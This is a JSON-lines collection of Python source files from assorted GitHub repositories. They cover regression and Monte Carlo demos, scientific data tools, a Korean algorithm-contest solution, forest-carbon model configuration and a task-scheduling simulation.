+{"seq_id":"22115391237","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.metrics import mean_squared_error\r\nfrom sklearn import datasets , linear_model\r\n\r\nx = datasets.load_diabetes()\r\n# print(data.keys())\r\ndata_x = x.data[:,np.newaxis,2]\r\n# data_x = x.data # all data mentioned here we predict value\r\n# print(data_x)\r\ndata_x_trained = data_x[:-50]\r\ndata_x_test = data_x[-50:]\r\n# print(data_x_trained,data_x_test)\r\n\r\ndata_y_trained = x.target[:-50]\r\ndata_y_test = x.target[-50:]\r\n\r\nmodel = linear_model.LinearRegression()\r\nmodel.fit(data_x_trained,data_y_trained)\r\n\r\ndata_predict = model.predict(data_x_test)\r\nprint(\"mean squred error : \",mean_squared_error(data_y_test,data_predict))\r\n\r\nprint(\"Weight is : \",model.coef_)\r\nprint(\"Interception : \",model.intercept_)\r\n\r\nplt.scatter(data_x_test,data_y_test)\r\nplt.plot(data_x_test,data_predict)\r\nplt.show()","repo_name":"dml635433/Linear-Regression","sub_path":"linear_mode.py","file_name":"linear_mode.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"8645713890","text":"\"\"\"\nTest conventions.\n\n\"\"\"\nfrom hamcrest import (\n assert_that,\n equal_to,\n instance_of,\n is_,\n)\nfrom microcosm.api import create_object_graph\n\nfrom microcosm_pubsub.conventions import created, deleted, media_type\nfrom microcosm_pubsub.conventions.messages import IdentityMessageSchema, URIMessageSchema\n\n\ndef borked(resource, **kwargs):\n return media_type(\"borked\")(resource, **kwargs)\n\n\nclass TestConventions:\n\n def setup(self):\n self.graph = create_object_graph(\"test\")\n self.graph.use(\n \"pubsub_message_schema_registry\",\n \"pubsub_lifecycle_change\",\n )\n self.graph.lock()\n\n def test_created(self):\n assert_that(\n created(\"Foo.Bar\"),\n is_(equal_to(\"application/vnd.globality.pubsub._.created.foo.bar\")),\n )\n\n assert_that(\n self.graph.pubsub_message_schema_registry.find(\n \"application/vnd.globality.pubsub._.created.foo.bar\",\n ).schema,\n is_(instance_of(URIMessageSchema)),\n )\n\n def test_deleted(self):\n assert_that(\n deleted(\"Foo.Bar\"),\n is_(equal_to(\"application/vnd.globality.pubsub._.deleted.foo.bar\")),\n )\n\n assert_that(\n self.graph.pubsub_message_schema_registry.find(\n \"application/vnd.globality.pubsub._.deleted.foo.bar\",\n ).schema,\n is_(instance_of(IdentityMessageSchema)),\n )\n\n def test_custom_lifecycle_change(self):\n self.graph.pubsub_lifecycle_change.add(\"borked\")\n\n assert_that(\n borked(\"Foo.Bar\"),\n is_(equal_to(\"application/vnd.globality.pubsub._.borked.foo.bar\")),\n )\n\n assert_that(\n self.graph.pubsub_message_schema_registry.find(\n \"application/vnd.globality.pubsub._.borked.foo.bar\",\n ).schema,\n is_(instance_of(URIMessageSchema)),\n )\n","repo_name":"globality-corp/microcosm-pubsub","sub_path":"microcosm_pubsub/tests/conventions/test_conventions.py","file_name":"test_conventions.py","file_ext":"py","file_size_in_byte":1934,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"0"}
+{"seq_id":"73806088677","text":"# Note from the author: This file is to convert the images in hdf5 format to accelerate the loading process,\n# Users should rewrite this file to load your own data including the 'compressData()' and load_data1/2()'.\n\nimport numpy as np\nfrom skimage import io\nimport argparse\nimport h5py\n\ndef load_data(txt_name):\n path = open('/home/dl/zyfang/face_example/'+txt_name, 'r')\n lines = path.readlines()\n X_train = []\n for i in range(len(lines)):\n img = io.imread(lines[i].replace('/home/zyfang/caffe-face', '/home/dl/zyfang').replace(' 0\\n', ''))\n if (len(img.shape) == 3):\n X_train.append(img)\n return np.asarray(X_train)\n\ndef load_data2(txt_name):\n path = open('/home/dl/zyfang/face_example/'+txt_name, 'r')\n lines = path.readlines()\n X_train = []\n for i in range(len(lines)):\n t = lines[i].replace('/media/sdb/ECCV16-SIAT/','/home/dl/zyfang/')\n t = t[0: t.index('.jpg')+4]\n img = io.imread(t)\n if (len(img.shape) == 3):\n X_train.append(img)\n return np.asarray(X_train)\n\ndef compressData():\n X_train = load_data('lr_training.txt')\n y_train = load_data2('hr_training.txt')\n X_test = load_data('lr_val.txt')\n y_test = load_data2('hr_val.txt')\n # Create the HDF5 file\n f = h5py.File('data.h5', 'w')\n\n # Create the image and palette dataspaces\n dset = f.create_dataset('lr_train', data=X_train)\n pset = f.create_dataset('hr_train', data=y_train)\n lset = f.create_dataset('lr_test', data = X_test)\n sset = f.create_dataset('hr_test', data = y_test)\n\n # Close the file\n f.close()\n\ndef loadData(path):\n f = h5py.File(path, \"r\")\n data = [f['lr_train'][:], f['hr_train'][:], f['lr_test'][:], f['hr_test'][:]]\n return data\n\ndef get_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--mode\", type=str)\n parser.add_argument(\"--path\", type=str, default='data.h5')\n args = parser.parse_args()\n return args\n\nif __name__ == \"__main__\":\n args = get_args()\n if args.mode == \"compress\":\n compressData()\n print('File stored as \"data.h5\" in current directory.')\n elif args.mode == \"load\":\n loadData(args.path)\n print('File loaded from '+args.path)","repo_name":"jacobswan1/FACE_SRGAN","sub_path":"Data.py","file_name":"Data.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"0"}
+{"seq_id":"23259757579","text":"#%%\n\n'''Imports packages used for the algorithm'''\n\n#%matplotlib qt\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom matplotlib.widgets import Slider, Button, RangeSlider, TextBox, CheckButtons, RadioButtons\nimport pybaselines\nimport tkinter as tk\nfrom tkinter import filedialog\nimport pandas as pd\n\n#%%\n\n'''Sets up the program'''\n\nsi = 0\nci = 0\ncf = 1\narea = 0\nmhw = 10\nshw = 3\ncintg = []\n\nroot = tk.Tk()\nroot.withdraw()\nfilein = filedialog.askopenfilename()\n\ndata = np.array(pd.read_csv(filein))\n\nfor i in range(len(data)):\n if data[i,0]>=0:\n _=i\n break\ndata=data[_:]\n\n#datavec = np.reshape(data, -1)\ndatavec = data\n\nsize = len(datavec[:, 1])\nsf = size - 1\n\nbkg = pybaselines.smooth.snip(datavec[si:sf, 1], max_half_window = mhw, decreasing = False, smooth_half_window = shw)[0]\ndf = (datavec[si:sf, 1] - bkg).astype(int)\nX = np.linspace(0, size - 1, size)\n\n#%%\n\n'''Definition of needed functions'''\n\ndef update(*args):\n '''Updates the graph everytime a variable is changed'''\n \n global si\n global sf\n global ci\n global cf\n global bkg\n global df\n \n si = sint.val[0]\n sf = sint.val[1]\n ci = cint.val[0]\n cf = cint.val[1]\n mhw = smhw.val\n shw = sshw.val\n c = cb.get_status()\n \n bkg = pybaselines.smooth.snip(datavec[si:sf, 1], max_half_window = mhw, decreasing = False, smooth_half_window = shw)[0]\n df = (datavec[si:sf, 1] - bkg).astype(int)\n \n if len(cintg):\n for i in cintg:\n try:\n i.remove()\n except ValueError:\n continue\n cintg.append(a.axvspan(ci, cf, alpha = 0.5, color = 'red'))\n \n if c[0] == True:\n wob.set_data(datavec[si:sf, 0], df)\n s.set_data(datavec[si:sf, 0], bkg)\n else:\n wob.set_data([], [])\n s.set_data([], [])\n fig.canvas.draw_idle()\n\ndef open_spectrum(*args):\n '''Opens and plots a new spectrum'''\n \n global datavec\n\n \n filein = filedialog.askopenfilename()\n\n data = np.array(pd.read_csv(filein))\n for i in range(len(data)):\n if data[i,0]>=0:\n _=i\n break\n data=data[_:]\n \n #datavec = np.reshape(data, -1)\n datavec = data\n\n size = len(datavec[:, 0])\n X = np.linspace(0, size - 1, size)\n \n o.set_data(datavec[:, 0], datavec[:, 1])\n a.set_title(filein)\n a.set_ylim(0, datavec[:, 1].max() * 1.1)\n a.set_xlim(0, datavec[:, 0].max())\n update()\n\ndef save(*args):\n '''Saves current spectrum after applying the SNIP algorithm'''\n \n fileout = filedialog.asksaveasfilename(defaultextension='.dat')\n \n #datasave = np.zeros(size, dtype = int)\n #datasave[si:sf] = df\n \n #np.savetxt(fileout, datasave, fmt = '%6d')\n DF=pd.DataFrame()\n DF['en']=datavec[si:sf, 0]\n DF['counts'] = pd.DataFrame(df)\n \n DF.to_csv(fileout,index=False)\n\n\n\n\ndef reset(*args):\n '''Resets the range sliders regarding Count and SNIP intervals'''\n \n cint.valmax = 1023 \n cint.set_val([0, 1])\n cint.ax.set_xlim(0, cint.valmax)\n sint.valmax = 1023\n sint.set_val([0, 1023])\n sint.ax.set_xlim(0, sint.valmax)\n\ndef count(*args):\n '''Gives the area of the region of interest (ROI), with or without SNIP according to checkbox value'''\n \n area = 0\n c = cb.get_status()\n \n if c[1] == True:\n for j in range(ci, cf, 1):\n area = area + df[j - si]\n else:\n for j in range(ci, cf, 1):\n area = area + datavec[j]\n tb.set_val(int(area))\n\ndef close(*args):\n '''Closes the program'''\n \n plt.close()\n \ndef newmax(*args):\n '''Sets new maximum value for the range sliders of Count and SNIP intervals'''\n \n if cint.val[1] > int(tb2.text):\n cint.set_val((0, int(tb2.text)))\n if sint.val[1] > int(tb2.text):\n sint.set_val((0, int(tb2.text)))\n cint.valmax = int(tb2.text)\n cint.ax.set_xlim(0, cint.valmax)\n sint.valmax = int(tb2.text)\n sint.ax.set_xlim(0, sint.valmax)\n \n\n#%%\n\n'''MatPlotLib Figure Configuration'''\n\nfig = plt.figure(figsize = (12, 7))\nfig.canvas.mpl_disconnect(fig.canvas.manager.key_press_handler_id)\na = plt.axes([0.15, 0.3, 0.7, 0.6])\no, = plt.plot(datavec[:, 0], datavec[:, 1], color = \"red\", label = 'Original')\nwob, = plt.plot(datavec[si:sf, 0], df, color = \"blue\", label = 'W/o Baseline')\ns, = plt.plot(datavec[si:sf, 0], bkg, '--', color = 'orange', label ='SNIP')\n\nplt.title(filein)\ncintg.append(a.axvspan(ci, cf, alpha = 0.5, color='red'))\nplt.xlim(datavec[:, 0].min(), datavec[:, 0].max())\nplt.ylim(0, datavec[:, 1].max() * 1.1)\nplt.xlabel('Channel')\nplt.ylabel('Counts')\nplt.legend()\n\n#Used axes colors\nbuttoncolor = 'aquamarine'\nbuttoncolor2 = 'paleturquoise'\ntbcolor = 'lightcyan'\nslidercolor = 'royalblue'\nslidercolor2 = 'lavender'\n\ncaxes = plt.axes([0.1, 0.18, 0.35, 0.03], facecolor = slidercolor2)\ncint = RangeSlider(caxes, 'Count Interval', 0, X.max(), valinit = [ci, cf], valstep = 1, color = slidercolor)\n\nsnaxes = plt.axes([0.1, 0.13, 0.35, 0.03], facecolor = slidercolor2)\nsint = RangeSlider(snaxes, 'SNIP Interval', 0, size - 1, valinit = [si, sf], valstep = 1, color = slidercolor)\n\nmaxes = plt.axes([0.6, 0.18, 0.35, 0.03], facecolor = slidercolor2)\nsmhw = Slider(maxes, 'MHW', 2, 100, valinit = mhw, valstep = 1, color = slidercolor)\n\nsaxes = plt.axes([0.6, 0.13, 0.35, 0.03], facecolor = slidercolor2)\nsshw = Slider(saxes, 'Smooth', 0, 10, valinit = shw, valstep = 1, color = slidercolor)\n\ntbax = plt.axes([0.9, 0.65, 0.05, 0.03])\ntb = TextBox(tbax, '', initial = '0', color = tbcolor, hovercolor = tbcolor)\n\ntbax2 = plt.axes([0.21, 0.05, 0.05, 0.03])\ntb2 = TextBox(tbax2, '', initial = '0', color = tbcolor, hovercolor = tbcolor)\n\ncbaxes = plt.axes([0.875, 0.43, 0.1, 0.14], facecolor = tbcolor)\ncb = CheckButtons(cbaxes, ['SNIP Graph', 'SNIP Count'], [True, False])\n\nbax1 = plt.axes([0.9, 0.85, 0.05, 0.03])\nbutton1 = Button(bax1, 'Open', color = buttoncolor, hovercolor = buttoncolor2)\nbutton1.on_clicked(open_spectrum)\n \nbax2 = plt.axes([0.9, 0.7, 0.05, 0.03])\nbutton2 = Button(bax2, 'Count', color = buttoncolor, hovercolor = buttoncolor2)\nbutton2.on_clicked(count)\n\nbax3 = plt.axes([0.9, 0.8, 0.05, 0.03])\nbutton3 = Button(bax3, 'Save', color = buttoncolor, hovercolor = buttoncolor2)\nbutton3.on_clicked(save)\n \nbax4 = plt.axes([0.9, 0.6, 0.05, 0.03])\nbutton4 = Button(bax4, 'Quit', color = buttoncolor, hovercolor = buttoncolor2)\nbutton4.on_clicked(close)\n\nbax5 = plt.axes([0.9, 0.75, 0.05, 0.03])\nbutton5 = Button(bax5, 'Reset', color = buttoncolor, hovercolor = buttoncolor2)\nbutton5.on_clicked(reset)\n\nbax6 = plt.axes([0.1, 0.05, 0.1, 0.03])\nbutton6 = Button(bax6, 'New Max Value', color = buttoncolor, hovercolor = buttoncolor2)\nbutton6.on_clicked(newmax)\n\n#Updates Plot\ncint.on_changed(update)\nsint.on_changed(update)\nsmhw.on_changed(update)\nsshw.on_changed(update)\ncb.on_clicked(update)\n\nplt.show()","repo_name":"g-Baptista-gg/TecEsp","sub_path":"guiSnip3.py","file_name":"guiSnip3.py","file_ext":"py","file_size_in_byte":6867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"41206525762","text":"import time\n\nnumImages = 6\n\nwhile True:\n time.sleep(1)\n \n file = open(\"image.txt\", \"r\")\n line = file.readline()\n file.close()\n\n try:\n int(line)\n except ValueError:\n pass\n else:\n print(\"Generating image path.\")\n file = open(\"image.txt\", \"w\")\n file.write(\"images/\")\n line = int(line) % numImages\n line = str(line)\n file.write(line)\n file.write(\".jpg\")\n file.close()","repo_name":"walterbb/CS_361","sub_path":"assignment2/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"16691802646","text":"import sys \r\n\r\nN = int(input())\r\ncrane = sorted(list(map(int, input().split())), reverse=True)\r\n\r\nM = int(input())\r\nbox = sorted(list(map(int, input().split())), reverse=True)\r\n\r\nif crane[0] < box[0]:\r\n print(-1)\r\n sys.exit()\r\n\r\nanswer = 0 \r\n\r\n# 크레인은 들 수 있는 무게를 최대로 들어야 한다\r\nwhile box:\r\n for c in crane: # while을 돌면서 크레인을 계속 순회 # ex) 크레인이 3개라면 0~2를 계속 순회해서 n번 크레인이 들 수 있는 가장 무거운 무게를 배치\r\n for i in range(len(box)):\r\n if c >= box[i]: # 내림차순으로 정렬되어 있기 때문에 c >= box[i]는 크레인이 들 수 있는 가장 큰 무게\r\n box.pop(i)\r\n break\r\n # 여기로 왔을 땐 각 크레인에 가장 무거운 무게의 박스가 배정되어 있다.\r\n answer += 1\r\n\r\nprint(answer)","repo_name":"duridudu/Algorithms","sub_path":"백준/Gold/1092. 배/배.py","file_name":"배.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"14152714156","text":"import os\nimport glob\nimport sys\nimport random\nfrom argparse import ArgumentParser\n# third-party imports\nimport tensorflow as tf\nimport numpy as np\nfrom keras.backend.tensorflow_backend import set_session\nfrom keras.optimizers import Adam\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.utils import multi_gpu_model \n# project imports\nimport datagenerators\nimport networks\nimport losses\nsys.path.append('../ext/neuron')\nimport neuron.callbacks as nrn_gen\nimport nibabel as nib\nimport matplotlib.pyplot as plt\nimport skimage\nimport tensorboard\nimport nibabel as nib\nimport itertools\n\nvol_names = glob.glob(os.path.join('/data/My_Thesis/Code/voxelmorph/Freesurfer_affine/', '*.nii.gz'))\n\nimport networks\n\nvol_size=(160,192,224)\nnf_enc = [16,32,32,32]\nnf_dec = [32,32,32,32,16,3]\nnet = networks.miccai2018_net(vol_size, nf_enc, nf_dec, use_miccai_int=False, indexing='ij') \nnet.load_weights('/data/My_Thesis/Code/voxelmorph/Models/Freesurfer_model/1500.h5')\nfixed=nib.load('../data/atlas_norm.nii.gz').get_data()\n\ndef train(model,\n data_dir,\n atlas_file,\n model_dir,\n gpu_id,\n lr,\n nb_epochs,\n prior_lambda,\n image_sigma,\n steps_per_epoch,\n batch_size,\n bidir,\n initial_epoch=0):\n \n # load atlas from provided files. The atlas we used is 160x192x224.\n atlas_vol = atlas_file[np.newaxis, ..., np.newaxis]\n vol_size = atlas_vol.shape[1:-1] \n train_vol_names = glob.glob(os.path.join(data_dir, '*.nii.gz'))\n \n\n # prepare model folder\n if not os.path.isdir(model_dir):\n os.mkdir(model_dir)\n # load initial weights\n # save first iteration\n model.save(os.path.join(model_dir, '%02d.h5' % initial_epoch))\n \n \n flow_vol_shape = model.outputs[-1].shape[1:-1]\n loss_class = losses.Miccai2018(image_sigma, prior_lambda, flow_vol_shape=flow_vol_shape)\n if bidir:\n model_losses = [loss_class.recon_loss, loss_class.recon_loss, loss_class.kl_loss]\n loss_weights = [0.5, 0.5, 1]\n else:\n model_losses = [loss_class.recon_loss, loss_class.kl_loss]\n loss_weights = [1, 1]\n\n train_example_gen = datagenerators.example_gen1(train_vol_names, batch_size=batch_size)\n atlas_vol_bs = np.repeat(atlas_vol, batch_size, axis=0)\n miccai2018_gen = datagenerators.miccai2018_gen(train_example_gen,\n atlas_vol_bs,\n batch_size=batch_size,\n bidir=bidir)\n\n # prepare callbacks\n save_file_name = os.path.join(model_dir,'{epoch:02d}.h5')\n save_callback = ModelCheckpoint(save_file_name)\n mg_model = model\n\n mg_model.compile(optimizer=Adam(lr=lr), loss=model_losses, loss_weights=loss_weights)\n mg_model.fit_generator(miccai2018_gen, \n initial_epoch=initial_epoch,\n epochs=nb_epochs,\n callbacks=[save_callback],\n steps_per_epoch=steps_per_epoch,\n verbose=1)\n return mg_model\n\n\n#------------------------------- Iterative algotithum--------------------------------\n\nerror=1\nsample=[]\nj=0\nwhile error>1e-7:\n wraped=[]\n fixed=fixed[np.newaxis, ..., np.newaxis]\n for i in range(len(vol_names)):\n moving=nib.load(vol_names[i]).get_data()[np.newaxis, ..., np.newaxis]/255\n [moved, warp] = net.predict([moving,fixed])\n wraped.append(moved[0,...,0])\n a=np.average(wraped,0)\n error=np.mean(np.square(fixed[0,...,0]-a))\n sample.append(a)\n print(error)\n fixed=a\n print(np.shape(fixed))\n net=train(net,'/data/My_Thesis/Code/voxelmorph/Freesurfer_affine/',fixed,'/data/My_Thesis/Code/voxelmorph/Models/iteration_'+str(j),'0',1e-4,50,25,0.01,150,1,0,0)\n j=j+1\n\n\n","repo_name":"hfahad/Master-Thesis-Codes","sub_path":"Iterative_atlas_construction/src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"19924257204","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\n__title__ = 'Monte Carlo积分计算'\r\n__author__ = '皮'\r\n__mtime__ = '6/15/2016-015'\r\n__email__ = 'pipisorry@126.com'\r\n# code is far away from bugs with the god animal protecting\r\n I love animals. They taste delicious.\r\n ┏┓ ┏┓\r\n ┏┛┻━━━┛┻┓\r\n ┃ ☃ ┃\r\n ┃ ┳┛ ┗┳ ┃\r\n ┃ ┻ ┃\r\n ┗━┓ ┏━┛\r\n ┃ ┗━━━┓\r\n ┃ 神兽保佑 ┣┓\r\n ┃ 永无BUG! ┏┛\r\n ┗┓┓┏━┳┓┏┛\r\n ┃┫┫ ┃┫┫\r\n ┗┻┛ ┗┻┛\r\n\"\"\"\r\nfrom random import uniform\r\nfrom numpy.ma import mean, arctan, sin, var\r\n\r\nN = 10000\r\nf = lambda x: arctan(x) / (x ** 2 + x * sin(x)) # 要求积分的函数\r\na, b = 0, 1 # 积分区间\r\nxs = [uniform(a, b) for _ in range(N)] # 从均匀分布uniform(a,answers)生成N个样本\r\nmean = mean([f(x) for x in xs]) # 代入积分函数,用均值去近似期望,因为函数不收敛,所以这个值也不确定\r\nprint(mean)\r\nprint(var([f(x) for x in xs])) # 由于函数不收敛,方差巨大\r\n\r\n\r\ndef para():\r\n import numpy as np\r\n import scipy as sp\r\n N = 10000000\r\n f = lambda x: arctan(x) / (x ** 2 + x * sin(x)) # 要求积分的函数\r\n f = sp.vectorize(f)\r\n xs = np.array([random() for _ in range(N)]) # 生成N个积分区间(0,1)的数据\r\n fs = f(xs)\r\n mean = fs.mean()\r\n print(mean)\r\n var = fs.var()\r\n print(var)\r\n\r\n# para()\r\n","repo_name":"pipilove/MachineLearning","sub_path":"BDML/MCCalculus.py","file_name":"MCCalculus.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"1"}
+{"seq_id":"28994022507","text":"#author: Max Fellows\n\n#edits by Scott Morken in March 2018\n\nimport os\nimport simplejson as json\nimport argparse\nimport logging\nimport sys\nfrom future.utils import viewitems\nfrom argparse import ArgumentParser\nfrom glob import glob\n\ndef scan_for_layers(layer_root):\n provider_layers = []\n layers = glob(os.path.join(layer_root, \"*_moja\"))\n for layer in layers:\n logging.debug(\"Found layer: {}\".format(layer))\n layer_prefix, _ = os.path.splitext(os.path.basename(layer))\n layer_path = os.path.join(layer_root, layer_prefix)\n layer_name, _ = layer_prefix.split(\"_moja\")\n provider_layers.append({\n \"name\" : layer_name,\n \"type\" : None,\n \"path\" : layer_path,\n \"prefix\": layer_prefix\n })\n \n return provider_layers\n\ndef update_provider_config(provider_config_path, study_area, layer_root,\n dbpath, use_relpaths=True):\n logging.info(\"Updating {} with layers in {}\".format(provider_config_path, layer_root))\n\n with open(provider_config_path, \"r\") as provider_config_file:\n provider_config = json.load(provider_config_file)\n \n provider_section = provider_config[\"Providers\"]\n layer_config = None\n for provider, config in viewitems(provider_section):\n if \"layers\" in config:\n spatial_provider_config = config\n break\n\n spatial_provider_config[\"tileLatSize\"] = study_area[\"tile_size\"]\n spatial_provider_config[\"tileLonSize\"] = study_area[\"tile_size\"]\n spatial_provider_config[\"blockLatSize\"] = study_area[\"block_size\"]\n spatial_provider_config[\"blockLonSize\"] = study_area[\"block_size\"]\n spatial_provider_config[\"cellLatSize\"] = study_area[\"pixel_size\"]\n spatial_provider_config[\"cellLonSize\"] = study_area[\"pixel_size\"]\n \n provider_layers = []\n relative_layer_root = os.path.relpath(layer_root, os.path.dirname(provider_config_path)) \\\n if use_relpaths else layer_root\n for layer in study_area[\"layers\"]:\n logging.debug(\"Added {} to provider configuration\".format(layer))\n \n provider_layers.append({\n \"name\" : layer[\"name\"],\n \"layer_path\" : os.path.join(relative_layer_root, os.path.basename(layer[\"path\"])),\n \"layer_prefix\": layer[\"prefix\"]\n })\n \n layer_config = spatial_provider_config[\"layers\"] = provider_layers\n if use_relpaths:\n relative_db_path = os.path.relpath(os.path.dirname(dbpath), os.path.dirname(provider_config_path))\n provider_section[\"SQLite\"][\"path\"] = os.path.join(relative_db_path, os.path.basename(dbpath))\n else:\n provider_section[\"SQLite\"][\"path\"] = dbpath\n \n with open(provider_config_path, \"w\") as provider_config_file:\n provider_config_file.write(json.dumps(provider_config, indent=4, ensure_ascii=False))\n \n logging.info(\"Provider configuration updated\")\n\ndef update_gcbm_config(gcbm_config_path, study_area,\n start_year, end_year, classifiers,\n reporting_classifiers, output_db_path,\n variable_grid_output_dir, output_relpaths=True):\n logging.info(\"Updating {}\".format(gcbm_config_path))\n \n with open(gcbm_config_path, \"r\") as gcbm_config_file:\n gcbm_config = json.load(gcbm_config_file)\n \n tile_size = study_area[\"tile_size\"]\n pixel_size = study_area[\"pixel_size\"]\n tile_size_px = int(tile_size / pixel_size)\n \n localdomain_config = gcbm_config[\"LocalDomain\"]\n localdomain_config[\"start_date\"] = \"{}/01/01\".format(start_year)\n localdomain_config[\"end_date\"] = \"{}/01/01\".format(end_year + 1) # inclusive end year\n\n\n landscape_config = gcbm_config[\"LocalDomain\"][\"landscape\"]\n landscape_config[\"tile_size_x\"] = tile_size\n landscape_config[\"tile_size_y\"] = tile_size\n landscape_config[\"x_pixels\"] = tile_size_px\n landscape_config[\"y_pixels\"] = tile_size_px\n landscape_config[\"tiles\"] = study_area[\"tiles\"]\n \n disturbance_listener_config = gcbm_config[\"Modules\"][\"CBMDisturbanceListener\"]\n if not \"settings\" in disturbance_listener_config:\n disturbance_listener_config[\"settings\"] = {}\n\n disturbance_listener_config[\"settings\"][\"vars\"] = []\n disturbance_layers = disturbance_listener_config[\"settings\"][\"vars\"]\n\n output_db_path = os.path.relpath(output_db_path, os.path.dirname(gcbm_config_path)) \\\n if output_relpaths else output_db_path\n CBMAggregatorSQLiteWriter_config = gcbm_config[\"Modules\"][\"CBMAggregatorSQLiteWriter\"]\n CBMAggregatorSQLiteWriter_config[\"settings\"][\"databasename\"] = output_db_path\n\n variable_grid_output_dir = os.path.relpath(variable_grid_output_dir, os.path.dirname(gcbm_config_path)) \\\n if output_relpaths else variable_grid_output_dir\n\n WriteVariableGrid_config = gcbm_config[\"Modules\"][\"WriteVariableGrid\"]\n WriteVariableGrid_config[\"settings\"][\"output_path\"] = variable_grid_output_dir\n\n variable_config = gcbm_config[\"Variables\"]\n variable_names = [var_name.lower() for var_name in variable_config]\n for layer in study_area[\"layers\"]:\n layer_name = layer[\"name\"]\n if layer.get(\"type\") == \"DisturbanceLayer\":\n disturbance_layers.append(layer_name)\n \n if layer_name.lower() in variable_names:\n logging.debug(\"Variable {} already present in config - skipping update\".format(layer_name))\n continue\n \n variable_config[layer_name] = {\n \"transform\": {\n \"library\" : \"internal.flint\",\n \"type\" : \"LocationIdxFromFlintDataTransform\",\n \"provider\": \"RasterTiled\",\n \"data_id\" : layer_name\n }\n }\n\n variable_config[\"initial_classifier_set\"][\"transform\"][\"vars\"] = classifiers\n variable_config[\"reporting_classifiers\"][\"transform\"][\"vars\"].extend(reporting_classifiers)\n\n with open(gcbm_config_path, \"w\") as gcbm_config_file:\n gcbm_config_file.write(json.dumps(gcbm_config, indent=4, ensure_ascii=False))\n \n logging.info(\"GCBM configuration updated\")\n \ndef get_study_area(layer_root):\n study_area = {\n \"tile_size\" : 1.0,\n \"block_size\": 0.1,\n \"pixel_size\": 0.00025,\n \"tiles\" : [],\n \"layers\" : []\n }\n \n study_area_path = os.path.join(layer_root, \"study_area.json\")\n if os.path.exists(study_area_path):\n with open(study_area_path, \"r\") as study_area_file:\n study_area.update(json.load(study_area_file))\n\n # Find all of the layers for the simulation physically present on disk, then\n # add any extra metadata available from the tiler's study area output.\n layers = scan_for_layers(layer_root)\n study_area_layers = study_area.get(\"layers\")\n if study_area_layers:\n for layer in layers:\n for layer_metadata \\\n in filter(lambda l: l.get(\"name\") == layer.get(\"name\"), study_area_layers):\n layer.update(layer_metadata)\n \n study_area[\"layers\"] = layers\n \n return study_area\n\n","repo_name":"cat-cfs/gcbm_preprocessing","sub_path":"gcbm/update_gcbm_config.py","file_name":"update_gcbm_config.py","file_ext":"py","file_size_in_byte":7098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"25929550303","text":"import random\nimport copy\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom distribution import Distribution\nfrom task import Task\n\nfrom slowBar import SlowBar\n\nfrom machine_spt import ShortestProcessingTime\nfrom machine_prediction import Prediction\nfrom machine_round_robin import RoundRobin\nfrom machine_parallel import Parallel\nfrom machine_parallel_v2 import Parallel_v2\n\nfrom distribution import distrib\n\nrandom.seed()\n\nnTasks, nRun = 100, 10\nmeanSum, meanLmb = [], []\nwith SlowBar(\"Running every machine on {} tasks for {} runs\".format(nTasks,nRun), max=nRun*nTasks) as bar:\n for i in range(nRun):\n m1 = ShortestProcessingTime(key=lambda t: t.realLength)\n m2 = Prediction(key=lambda t: t.realLength)\n m3 = RoundRobin(key=lambda t: t.realLength)\n pm = Parallel(lmb=.9)\n pm2 = Parallel_v2(lmb=.5)\n machines = [m1, m2, m3, pm, pm2]\n\n tasks = [Task(distrib) for _ in range(nTasks)]\n tasksList = [copy.deepcopy(tasks) for _ in machines]\n\n for k in range(len(machines)):\n m = machines[k]\n for task in tasksList[k]:\n m.addTask(task)\n \n m.boot(1, show=False, progressBar=bar)\n\n # Autres métriques possibles\n mSum = []\n for m in machines:\n endTimes = [round(t.timeFinished) for t in m.finishedTasks.values()]\n mSum.append(sum(endTimes)/len(endTimes))\n\n meanSum.append(mSum)\n\n \n meanLmb.append(pm2.historyLmb)\n\n\nmeanSum = np.mean(meanSum, axis=0)\n\nindLmb = [len(lmb) for lmb in meanLmb]\nmeanLmb = [[meanLmb[i][k] if k < indLmb[i] else 0 for k in range(max(indLmb))] for i in range(len(indLmb))]\nmeanLmb = np.mean(meanLmb, axis=0)\n\nplt.figure(figsize=(9,9))\nplt.bar([m.name for m in machines], meanSum)\n\nplt.figure()\nplt.plot(meanLmb)\n\nplt.show()","repo_name":"yannisEF/Machine-scheduling","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"1"}
